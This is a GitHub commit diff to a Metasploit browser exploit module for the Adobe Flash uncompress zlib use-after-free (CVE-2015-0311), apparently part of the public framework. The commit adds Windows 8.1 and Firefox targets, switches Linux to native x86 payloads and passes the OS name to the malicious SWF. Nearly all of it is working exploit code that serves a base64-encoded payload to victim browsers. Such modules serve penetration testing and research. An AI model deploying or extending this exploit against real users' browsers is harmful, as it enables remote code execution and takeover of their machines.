Skip to content

Commit ab68d84

Browse files
committed
Add more targets
1 parent 4ee0a14 commit ab68d84

File tree

2 files changed

+12
-16
lines changed

2 files changed

+12
-16
lines changed

data/exploits/CVE-2015-0311/msf.swf

154 Bytes
Binary file not shown.

modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb

Lines changed: 12 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

11-
include Msf::Exploit::Powershell
1211
include Msf::Exploit::Remote::BrowserExploitServer
1312

1413
def initialize(info={})
@@ -40,20 +39,21 @@ def initialize(info={})
4039
{
4140
'DisableNops' => true
4241
},
43-
'Platform' => ['win', 'unix'],
44-
'Arch' => [ARCH_X86, ARCH_CMD],
42+
'Platform' => ['win', 'linux'],
43+
'Arch' => [ARCH_X86],
4544
'BrowserRequirements' =>
4645
{
4746
:source => /script|headers/i,
4847
:arch => ARCH_X86,
4948
:os_name => lambda do |os|
5049
os =~ OperatingSystems::Match::LINUX ||
51-
os =~ OperatingSystems::Match::WINDOWS_7
50+
os =~ OperatingSystems::Match::WINDOWS_7 ||
51+
os =~ OperatingSystems::Match::WINDOWS_81
5252
end,
5353
:ua_name => lambda do |ua|
5454
case target.name
5555
when 'Windows'
56-
return true if ua == Msf::HttpClients::IE
56+
return true if [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua)
5757
when 'Linux'
5858
return true if ua == Msf::HttpClients::FF
5959
end
@@ -75,14 +75,12 @@ def initialize(info={})
7575
[
7676
[ 'Windows',
7777
{
78-
'Platform' => 'win',
79-
'Arch' => ARCH_X86
78+
'Platform' => 'win'
8079
}
8180
],
8281
[ 'Linux',
8382
{
84-
'Platform' => 'unix',
85-
'Arch' => ARCH_CMD
83+
'Platform' => 'linux'
8684
}
8785
]
8886
],
@@ -112,15 +110,13 @@ def on_request_exploit(cli, request, target_info)
112110

113111
def exploit_template(cli, target_info)
114112
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
113+
target_payload = get_payload(cli, target_info)
114+
b64_payload = Rex::Text.encode_base64(target_payload)
115+
os_name = target_info[:os_name]
115116

116117
if target.name =~ /Windows/
117-
target_payload = get_payload(cli, target_info)
118-
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
119-
b64_payload = Rex::Text.encode_base64(psh_payload)
120118
platform_id = 'win'
121119
elsif target.name =~ /Linux/
122-
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
123-
b64_payload = Rex::Text.encode_base64(target_payload)
124120
platform_id = 'linux'
125121
end
126122

@@ -129,9 +125,9 @@ def exploit_template(cli, target_info)
129125
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
130126
<param name="movie" value="<%=swf_random%>" />
131127
<param name="allowScriptAccess" value="always" />
132-
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
128+
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
133129
<param name="Play" value="true" />
134-
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
130+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
135131
</object>
136132
</body>
137133
</html>

0 commit comments

Comments
 (0)